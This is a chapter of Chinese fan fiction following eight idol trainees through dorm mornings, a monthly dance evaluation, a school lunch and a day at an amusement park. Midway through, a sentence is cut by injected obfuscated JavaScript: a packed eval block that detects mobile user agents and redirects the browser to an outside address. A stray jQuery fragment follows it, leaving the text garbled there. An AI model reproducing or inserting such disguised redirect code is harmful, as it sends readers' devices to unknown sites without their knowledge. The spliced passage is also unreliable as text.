早上七点零三分，金硕珍准时掀开了田柾国的被子。
“柾国啊，起床了——”他声音温润，动作却毫不留情。
田柾国在睡梦中皱紧眉头，整个人蜷缩起来，像只试图躲避现实的兔子，他抱着枕头，含糊地嘟囔：“五分钟……就五分钟……”
“你昨天也是这么说的，结果就迟到了。”
金硕珍不为所动，转头看向隔壁床铺。
他先拍了拍下铺的床沿，“智旻啊，醒醒。”
朴智旻在睡梦中皱了皱眉，把脸更深地埋进被子里，脸颊肉被枕头挤得微微鼓起，肤色在晨光中泛着健康的光泽。而上铺的金泰亨正睡得四仰八叉——一条腿垂在床沿外，怀里紧紧抱着安岁秋夹的那个企鹅玩偶，被子早被踢到了地上。
“泰亨。”
金硕珍提高了些声音，弯腰捡起被子。
“唔……”金泰亨翻了个身，把脸埋进玩偶里，“哥……再睡一会儿……”
这场景每天都在上演，金硕珍有时会想，自己是不是提前体验了当老父亲的感受。
距离便利店那场谈心已经过去两个月，朴智旻依然保持着深夜加练的习惯，看似什么都没变，但现在他会提前跟大家说：“我今晚可能会晚点回来。”
而安岁秋总会回应：“好，智旻哥，我放学就去练习室找你。”
于是乎，很多个夜晚，两个少年在镜子前的身影被灯光拉得很长，安岁秋早年打下的舞蹈基础，让他对街舞的发力方式和节奏把控，比跳现代舞出身的朴智旻要更为熟悉。
“哥，这里要用腰发力，不是膝盖。”
安岁秋会在镜子前示范，动作干净利落，每个卡点都精准得像节拍器。
朴智旻跟着学，汗水浸湿了额发，转换舞种的过程依然艰难，但至少不再是一个人在黑暗中摸索。练到难点动作时，他会不自觉地咬住下唇，眉头紧皱，而安岁秋这时会轻轻拍他的肩，“休息一下，喝点水。”
这两个月来，宿舍里悄然蔓延开一种内卷的风气。
如果朴智旻加练到凌晨一点，金南俊就会在创作室待到一点半；如果郑号锡多练一小时舞蹈，田柾国就会加练一小时vocal，连最随性的金泰亨都被带动着，开始主动记舞蹈动线。
结果就是——月度考核那天，孙成德老师难得地露出了满意的笑容。
“智旻啊。”
金硕珍轻轻推了推朴智旻的肩膀，少年睫毛颤了颤，艰难地睁开眼，看到金硕珍的脸时瞬间清醒，“啊！对不起哥，我马上起！”
他手忙脚乱地坐起身，头发乱糟糟地翘着，金硕珍忍不住笑，“不急，还有时间。”
卫生间门口已经排起了小队，郑号锡叼着牙刷，含糊地催促，“南俊啊，你快一点——”
“马上马上！”金南俊的声音混着水声传来。
安岁秋的床铺已经空了，被子整齐叠成豆腐块，枕头上连褶皱都被抚平。他总是最早起床的那个——为了避开八个人共用一个卫生间的早高峰，这个习惯从他入住第一天就开始了，如今已成为宿舍里不成文的秩序。
厨房里飘出煎蛋的香气。
安岁秋正在热牛奶，他穿着简单的白T恤和灰色睡裤，头发微湿，脖颈间的红绳在晨光中格外显眼。
听到脚步声，他抬头看向金硕珍，“哥，鸡蛋要几个？”
“八个…”金硕珍系上围裙，“不对，七个。玧其还在睡。”
闵玧其确实还在睡，他侧躺在最靠里的床铺上，背对着晨光，被子盖到下巴，呼吸均匀绵长。昨晚他又在工作室待到凌晨三点，现在正处于补觉的黄金时段，没人会去吵他——这是宿舍里另一个不成文的规定。
早餐是简单的煎蛋、吐司和牛奶，七个人围坐在客厅的地板上，阳光从窗户斜斜照进来，在地板上切出明亮的光带。
安岁秋盯着自己盘子里的煎蛋，眉头微蹙，金硕珍已经尽量少放油了，但他还是用叉子把边缘煎得焦黄的部分小心翼翼拨开。
“岁秋啊，”金硕珍无奈，“多少吃一点。”
“在吃。”
安岁秋小声说，夹起一小块蛋白送进嘴里，他咀嚼得很慢，像在完成什么艰巨任务。
坐在他对面的朴智旻很难不注意到。
这一个月来，他逐渐摸清了每个人的习惯。
金泰亨吃饭像打仗，田柾国食量大得惊人，金南俊习惯一边吃一边看手机，郑号锡坐得最端正，而安岁秋……对食物有种近乎挑剔的谨慎。
安岁秋喝了两口牛奶，腥味在口腔里漫开，他皱起眉，沉默地把没怎么动的杯子推到田柾国面前。
田柾国头也不抬，很自然地把剩余的部分喝掉。
朴智旻看着这一幕，嘴角不自觉扬起，他想起了月度考核那天。
考核是在上周进行的，练习室里气氛紧绷，方时赫和几位老师坐在镜子前，表情严肃，八个人穿着统一的黑色训练服，汗水已经浸湿了额发。
团队舞蹈部分结束后，是个人展示环节。
朴智旻选择了高难度的现代舞与街舞融合片段。
音乐响起时，他完全变了个人——柔软的身体在力量与柔美间切换，跳跃、旋转、定格，汗水随着动作飞洒，在灯光下折射出细碎的光。
虽然在一个落地动作时因为紧张有轻微失衡，但他立刻用即兴的肢体语言掩盖过去，顺势一个翻滚接后空翻，动作流畅得像设计好的一样。
结束时朴智旻单膝跪地，胸口剧烈起伏，抬头看向镜子的方向。
几位老师交换了眼神，然后同时鼓掌。
接下来是安岁秋和郑号锡的双人舞，音乐响起的瞬间就定下了基调——强劲的嘻哈鼓点，低音贝斯线沉重地推进。两个人从镜子两端走向中央，脚步踩在节拍上，肩膀随着节奏微微晃动。
郑号锡先起势，一连串快速的脚步动作干净利落，身体像弹簧般收缩又爆发，安岁秋紧接着跟上，动作幅度更大，每个定格都充满张力。
他们不是互补，是竞争，在镜子里追逐彼此的影子，又像是在对话。
最后八拍，他们同时后撤步，在重音落下的瞬间定格——背对背，右手同时指向天空。
音乐声一停止，他们的呼吸声就在安静的练习室里格外清晰。
方时赫第一个鼓掌。
“很好。”
他说，小眼睛扫过八个少年汗湿的脸，“真的很好，尤其是——我开始看到团队感了。”
孙成德给出了专业反馈，声乐老师指出了情感表达的不足。而最后，方时赫单独留下了安岁秋。
“你上个月交上来的作业，我让制作部的同事听了。”
他说，手指在膝盖上轻轻敲击，“他们都说……很有潜力。你的说唱部分也让人惊喜，节奏感和flow都很自然。”
安岁秋记得自己当时只是点头，喉咙有些发紧。
“泰亨哥，数学作业带了吗？”
安岁秋的声音把朴智旻从回忆里拉回来，他抬头看见安岁秋已经收拾好书包，正站在玄关穿鞋。
金泰亨动作一僵，尖叫着冲回房间，“啊！忘了！”
金硕珍无奈摇头，像个老母亲一样挨个检查四个未成年的衣着。
“柾国，衬衫扣子扣好。”
“智旻，外套拉链拉上。”
“泰亨……你的书包拉链没拉。”
朴智旻现在已经习惯了这套出门仪式，转学到首尔艺术高中后，他成了金泰亨隔壁班的同学，两人自然而然地成了上学伙伴。每天一起挤公交、分享早餐、讨论课堂内容，同龄人的亲近感迅速拉近了距离。
闵玧其终于慢悠悠地从卧室晃出来，头发乱糟糟的，眼睛半眯着，他通常等到所有人都出门后，才独占卫生间，享受难得的清净时光。
“路上小心。”他含糊地说，声音还带着睡意。
“哥记得吃早饭。”安岁秋回头嘱咐。
那辆商务车几乎成了他们的专属座驾，安岁秋这时候有点庆幸，好在能坐8个人，多一个都没了位置。田柾国坐在副驾驶，后面挤着安岁秋、金泰亨和朴智旻，早高峰的首尔街道上车流缓慢，阳光透过车窗洒进来。
金泰亨和朴智旻低声讨论着学校里的同学，田柾国靠着车窗打瞌睡。
手机在口袋里震动，安岁秋掏出来看，是林东玄的消息：
「我要开始上表演课了，学校附近的培训班，每周两次，价格不贵。」
「加油，哥。」他回复，「有需要帮忙的时候随时找我。」
「对了，中午去食堂吗？我带了泡菜。」
「去。」
收起手机时，安岁秋看向车窗外飞驰而过的城市风景，首尔在春日阳光下苏醒，樱花开始在新沙洞的街道两侧绽放。
他突然觉得，这个世界上的每个人都在各自的轨道上奋力奔跑。
中午的学校餐厅里，林东玄真的带来了他妈妈做的泡菜，玻璃饭盒里，红色的泡菜堆得满满当当，旁边还有一小盒紫菜包饭。
“我妈说谢谢你。”林东玄笑得眼睛弯弯，“上次你的那些话，我跟她说了。”
安岁秋打开饭盒，泡菜的酸辣香气扑鼻而来，他夹起一块送进嘴里，熟悉的味道在舌尖化开，是家常的味道，温暖而踏实。
“表演课上得怎么样？”
林东玄眼睛亮了，“在学解放天性，老师让我们模仿动物，我选了猴子——”他说着就做了个抓耳挠腮的动作，惟妙惟肖。
周围有同学看过来，林东玄脸一红，动作戛然而止。
安岁秋却认真地说：“很好，很放得开。”
“真的？”林东玄眼睛又亮了。
“老师也说我有天赋，但就是……太容易害羞了。”
“多练就会好的。”
“就像唱歌，第一次站上舞台谁都会紧张。”
两个少年坐在喧闹的学校餐厅里，面前是简单的泡菜和紫菜包饭，一个要走戏剧的路，一个要走音乐的路，但眼底的光芒如出一辙。
都是梦想的形状。
游乐园的早晨人还不算多。
八个少年站在入口处，仰头看着高耸的过山车轨道，阳光洒在他们年轻的脸上。因为月度考核表现出色，方时赫特批了一天假期，田柾国立刻提议去他心心念念已久的游乐园。
“岁秋啊，帽子和口罩要带好。”金硕珍像复读机一样重复。
安岁秋皱眉反抗，“我早就过时了，不会有人认出来的。”
朴智旻在旁边幽幽开口，“那上周是谁在商场被导购姐姐认出来了，还签了名？”
安岁秋：“……”
上周安岁秋拉着朴智旻去了商场，他实在看不下去朴智旻带来的那些五颜六色的衣服——每天就像看着一堆抽象油画在面前晃，偏偏这件“艺术品”还格外喜欢贴着他。
安岁秋以为自己的热度已经过去了，没有新作品上线，最近优秀的影视作品那么多，眼花缭乱的，应该早就被网友们遗忘了，所以没戴口罩就出门了。
然后灾难就发生了。
一开始确实没人会盯着路人的脸看，但他在陪朴智旻试衣服时，那个导购姐姐盯了安岁秋好久，忽然一拍手，恍然大悟——
“呀！美少年！”
结果最后还是朴智旻拉着安岁秋跑出了那个商场，两个人的手紧紧牵着，像是末日逃难的小情侣。
金泰亨在旁边调侃，撞了撞安岁秋的肩膀，“就是！我们安安可是‘千年一遇美少年’呢！”
安岁秋无语。
他真的对这个称呼接受不了——太夸张了，韩国这些记者总喜欢用一些格外奇怪的比喻，什么“第一美少年”“国宝级小帅哥”之类的，想起来就要起鸡皮疙瘩。
黑色棒球帽压低了帽檐，口罩遮住大半张脸，只露出一双眼睛，朴智旻仔细帮他调整好，满意地点头，“这样就行了。”
闵玧其是最后一个被拖出门的。
他穿着简单的黑色卫衣和牛仔裤，脸上写满了“我不想出门”的抗拒，但金泰亨和田柾国一左一右架着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394870|200357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他，愣是把人拖出了宿舍。
“哥，偶尔也要晒晒太阳。”田柾国笑着说。
闵玧其翻了个白眼，但没再挣扎。
分组几乎是瞬间完成的。
“过山车！”
金泰亨高举双手，眼睛亮得像星星，“柾国！智旻！走！”
三个胆大的孩子尖叫着冲去排队，背影里都透着兴奋。
金硕珍和郑号锡对视一眼，默契地走向旋转木马的方向，头也不回，脚步飞快，生怕被那三个小孩拉住。
剩下的三人——安岁秋、闵玧其、金南俊，站在原地面面相觑。
“所以，”金南俊眨了眨眼睛，“我们干嘛？”
闵玧其打了个哈欠，“找个地方坐着。”
安岁秋眼睛一转，“那边有小吃街。”
于是三个自由人意外开启了美食探索节目，接下来的两个小时里，安岁秋被两个哥哥投喂了棉花糖、烤香肠、吉事果、鲷鱼烧……
每当他想说“够了”的时候，金南俊就会递来新的食物，“这个看起来很好吃。”而闵玧其则会直接塞进他手里，“长身体，多吃点。”
安岁秋终于抗议，“哥，我真的吃不下了……”
话没说完，嘴里又被塞了一颗青梅蜜饯。
闵玧其淡淡的说：“消食。”
“？？？”
等安岁秋鼓着腮帮子无奈地看过去，闵玧其又迅速收回了眉眼的笑意，正经地点了点头。
快到中午时，八个少年重新汇合，此时“阳气”最重，他们要干一件大事——
鬼屋门口，金硕珍和郑号锡进去前还信誓旦旦地说“没什么好怕的”，进去后却全程紧紧闭着眼，手还死死抓着旁边人的手臂。
结果出来时两人才发现……
他们抓的是陌生人。
那个被夹在他俩中间的男生一脸惊恐，而朴智旻已经笑到蹲在地上。
飞镖扎气球的摊位前，金泰亨展现了惊人的天赋。他眯起一只眼睛，手腕轻抖，飞镖“嗖”地飞出，正中红心，一连十镖全中，摊主大叔都看呆了。
“小伙子，练过？”大叔问。
金泰亨咧嘴笑，露出四方嘴，“小时候在乡下经常玩。”
他用赢来的奖券换了一个巨大的熊猫玩偶——黑白相间，憨态可掬，几乎有半个金泰亨那么大，然后转身把玩偶塞进了安岁秋怀里。
“给你。”
安岁秋抱着几乎和自己上半身一样大的玩偶，哭笑不得，“泰亨哥，这……”
“很配你。”金泰亨笑得更开了，“跟你一样可爱。”
田柾国和金南俊也各自赢了些小奖品——手环、钥匙扣、卡通贴纸，朴智旻则用奖券换了一包糖果，拆开分给每个人。
最精彩的环节发生在纪念品商店门口。
田柾国、金泰亨、朴智旻三个小子进去后，不知道在纠结什么，半天没出来。
再出现时，三个人头上都戴着可爱的动物发箍——田柾国是灰色兔子耳朵，金泰亨是黑白条纹老虎耳朵，朴智旻则是红褐色的小熊猫耳朵。
他们交换了一个眼神，那眼神里闪烁着某种“计划通”的光芒，然后默契地朝着安岁秋扑来。
“等等——”安岁秋察觉不妙，想逃已经晚了。
金泰亨和朴智旻一人按住他一只手，动作快得像是排练过，田柾国笑着上前，把一个红色的狐狸耳朵发箍戴在了他头上。毛茸茸的耳朵立在安岁秋微卷的黑发上，衬得他露在口罩外的眼睛更亮，皮肤更白。
“很适合。”田柾国小声说，耳朵尖红了。
但这还没完，借着身形的遮挡，田柾国悄悄往安岁秋手里塞了另一个发箍——黑色的猫耳朵，边缘还有几根银色胡须。
“给玧其哥的。”他用气声说，一边撇嘴示意身后的闵玧其。
于是搞事的人又多了一个。
金泰亨扑向金南俊，把灰色小浣熊发箍扣在他头上；田柾国追着金硕珍跑，成功戴上了长颈鹿发箍；朴智旻则把小狗耳朵发箍戴在了还没反应过来的郑号锡头上。
最后轮到闵玧其。
他看见安岁秋拿着猫耳朵发箍朝自己走来，下意识后退一步，“不要。”
“哥。”安岁秋眼睛弯弯的，口罩上方露出的眉眼盛着笑意。
“我不戴。”闵玧其坚持，但脚却没动。
安岁秋最近又长高了些，现在已经比闵玧其高出一点点了，他轻松地走到对方面前把发箍戴在了闵玧其头上。
黑色猫耳朵立在闵玧其柔软的头发上，和他冷淡的表情形成奇妙的反差，银色的胡须在阳光下微微颤动。
闵玧其僵着脖子，唯一倔强的是挺直的背脊。
但几秒后，他自己先笑了——很轻的笑，从鼻腔里哼出来的一声，嘴角上扬的弧度几乎看不见。
八个少年，顶着八个不同的动物发箍，站在游乐园的夕阳下，笑得毫无保留。
金泰亨拉住一个路人女生，“姐姐，能帮我们拍张照吗？”
女生欣然同意。
八个人迅速挤进镜头——金硕珍的长颈鹿耳朵歪了，郑号锡的小狗耳朵被金泰亨捏着，金南俊笑得傻气，田柾国对着镜头比剪刀手，朴智旻搂着金泰亨的肩膀，闵玧其虽然表情无奈但没摘下发箍。
而安岁秋，在快门按下的前一秒，他悄悄拉下口罩，露出了完整的笑脸。
眼睛弯成月牙，梨涡深深，红色的狐狸耳朵在晚风中轻轻颤动。
回程是闵玧其开的车，他的驾照终于下来了，金硕珍这个专职司机也有了休息时间。
金硕珍坐在副驾驶，后面两排挤着六个少年。
玩了一整天的孩子们很快东倒西歪地睡着了——田柾国靠着车窗，金泰亨歪在朴智旻肩上，郑号锡和金南俊头靠着头，而安岁秋抱着那个巨大的熊猫玩偶，眼睛半闭着。
车驶上汉江大桥时，夜幕已经完全降临。
江水在黑暗中静静流淌，倒映着两岸绵延的灯火，像一条缀满钻石的黑色绸带。